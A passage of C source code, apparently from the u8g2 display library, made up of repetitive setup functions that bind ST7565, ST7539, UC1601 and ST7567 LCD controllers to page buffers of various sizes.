u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lm6063_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6063, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_64128n_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_64128n, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_zolen_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_zolen_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lm6059_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6059, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_ks0713_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ks0713, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_erc12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_erc12864_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864_alt, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_nhd_c12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 2 */ void u8g2_Setup_st7565_ea_dogm128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lm6063_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6063, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_64128n_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_64128n, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_zolen_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_zolen_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lm6059_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6059, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_ks0713_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ks0713, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_erc12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_erc12864_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864_alt, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_nhd_c12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 f */ void u8g2_Setup_st7565_ea_dogm128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lm6063_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6063, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_64128n_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_64128n, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_zolen_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_zolen_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lm6059_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6059, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_ks0713_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ks0713, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_lx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_erc12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_erc12864_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864_alt, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_nhd_c12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7565_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 */ /* st7565 1 */ void u8g2_Setup_st7565_nhd_c12832_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12832, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 2 */ void u8g2_Setup_st7565_nhd_c12832_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12832, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 f */ void u8g2_Setup_st7565_nhd_c12832_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12832, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7539 */ /* st7539 1 */ void u8g2_Setup_st7539_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7539 2 */ void u8g2_Setup_st7539_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7539 f */ void u8g2_Setup_st7539_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7539 */ /* st7539 1 */ void u8g2_Setup_st7539_i2c_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7539 2 */ void u8g2_Setup_st7539_i2c_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7539 f */ void u8g2_Setup_st7539_i2c_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 */ /* uc1601 1 */ void u8g2_Setup_uc1601_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 2 */ void u8g2_Setup_uc1601_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 f */ void u8g2_Setup_uc1601_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 */ /* uc1601 1 */ void u8g2_Setup_uc1601_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 2 */ void u8g2_Setup_uc1601_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 f */ void u8g2_Setup_uc1601_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 */ /* uc1601 1 */ void u8g2_Setup_uc1601_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 2 */ void u8g2_Setup_uc1601_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 f */ void u8g2_Setup_uc1601_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 */ /* uc1601 1 */ void u8g2_Setup_uc1601_i2c_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 2 */ void u8g2_Setup_uc1601_i2c_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1601 f */ void u8g2_Setup_uc1601_i2c_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 */ /* st7565 1 */ void u8g2_Setup_st7565_ea_dogm132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm132, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 2 */ void u8g2_Setup_st7565_ea_dogm132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm132, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7565 f */ void u8g2_Setup_st7565_ea_dogm132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm132, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void 